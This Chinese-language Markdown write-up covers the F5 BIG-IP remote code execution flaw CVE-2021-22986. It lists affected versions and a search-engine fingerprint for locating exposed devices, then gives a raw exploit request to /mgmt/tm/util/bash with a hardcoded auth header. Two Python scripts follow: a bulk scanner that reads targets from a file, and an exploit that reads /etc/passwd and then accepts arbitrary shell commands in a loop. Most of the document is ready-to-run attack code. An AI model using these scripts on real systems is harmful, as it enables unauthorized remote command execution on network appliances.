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205 lines
6.1 KiB
Markdown
205 lines
6.1 KiB
Markdown
# F5 BIG-IP 远程代码执行漏洞 CVE-2021-22986
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## 漏洞描述
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F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。
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近日，F5发布了F5 BIG-IQ/F5 BIG-IP 代码执行，代码执行的风险声明，F5安全公告更新了BIG-IP，BIG-IQ中的多个严重漏洞。建议广大用户及时将f5 big-iq,f5 big-ip升级到最新版本，避免遭到攻击。
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## 漏洞影响
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```
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F5 BIG-IP 16.x: 16.1.0.3
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F5 BIG-IP 15.x: 15.1.0.4
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F5 BIG-IP 14.x: 14.1.2.6
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F5 BIG-IP 13.x: 13.1.3.4
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F5 BIG-IP 12.x: 12.1.5.2
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F5 BIG-IP 11.x: 11.6.5.2
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```
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## 网络测绘
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```
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icon_hash="-335242539"
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```
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## 漏洞复现
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访问登录页面如下
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发送请求包
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```plain
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POST /mgmt/tm/util/bash HTTP/1.1
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Host: xxx.xxx.xxx.xxx:8443
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Connection: close
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Content-Length: 41
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Cache-Control: max-age=0
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Authorization: Basic YWRtaW46QVNhc1M=
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X-F5-Auth-Token:
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Upgrade-Insecure-Requests: 1
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Content-Type: application/json
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{"command":"run","utilCmdArgs":"-c id"}
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```
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成功执行命令 id
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## 漏洞POC
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**批量测试**
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```python
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import requests
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import sys
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import random
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import re
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import json
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: F5 BIG-IP \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mFile >>> ip.txt \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/mgmt/tm/util/bash"
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headers = {
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"Authorization": "Basic YWRtaW46QVNhc1M=",
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"X-F5-Auth-Token": "",
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"Content-Type": "application/json"
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}
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data = '{"command":"run","utilCmdArgs":"-c id"}'
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=2)
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if "commandResult" in response.text and response.status_code == 200:
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print("\033[32m[o] 目标 {}存在漏洞,响应为:{} \033[0m".format(target_url, json.loads(response.text)["commandResult"]))
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else:
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print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
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except Exception as e:
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print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))
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def Scan(file_name):
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with open(file_name, "r", encoding='utf8') as scan_url:
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for url in scan_url:
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if url[:4] != "http":
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url = "https://" + url
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url = url.strip('\n')
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try:
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POC_1(url)
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except Exception as e:
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print("\033[31m[x] 请求报错 \033[0m".format(e))
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continue
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if __name__ == '__main__':
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title()
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file_name = str(input("\033[35mPlease input Attack File\nFile >>> \033[0m"))
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Scan(file_name)
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```
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**命令执行**
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```python
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import requests
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import sys
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import random
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import re
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import base64
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import time
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import json
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: F5 BIG-IP \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/mgmt/tm/util/bash"
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headers = {
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"Authorization": "Basic YWRtaW46QVNhc1M=",
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"X-F5-Auth-Token": "",
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"Content-Type": "application/json"
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}
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data = '''{"command":"run","utilCmdArgs":"-c 'cat /etc/passwd'"}'''
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
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if 'root' in response.text and response.status_code == 200:
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print("\033[32m[o] 目标 {}存在漏洞,响应为:{} \033[0m".format(target_url, json.loads(response.text)["commandResult"]))
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while True:
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Cmd = str(input("\033[35mCmd >>> \033[0m"))
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POC_2(target_url, Cmd)
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else:
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print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
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except Exception as e:
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print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url), e)
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def POC_2(target_url, Cmd):
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vuln_url = target_url + "/mgmt/tm/util/bash"
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headers = {
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"Authorization": "Basic YWRtaW46QVNhc1M=",
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"X-F5-Auth-Token": "",
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"Content-Type": "application/json"
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}
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Cmd = "'" + Cmd + "'"
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data = '{"command":"run","utilCmdArgs":"-c %s"}' % Cmd
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
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print("\033[32m{} \033[0m".format(json.loads(response.text)["commandResult"]))
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except Exception as e:
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print("\033[31m[x] 命令执行失败 \033[0m".format(target_url), e)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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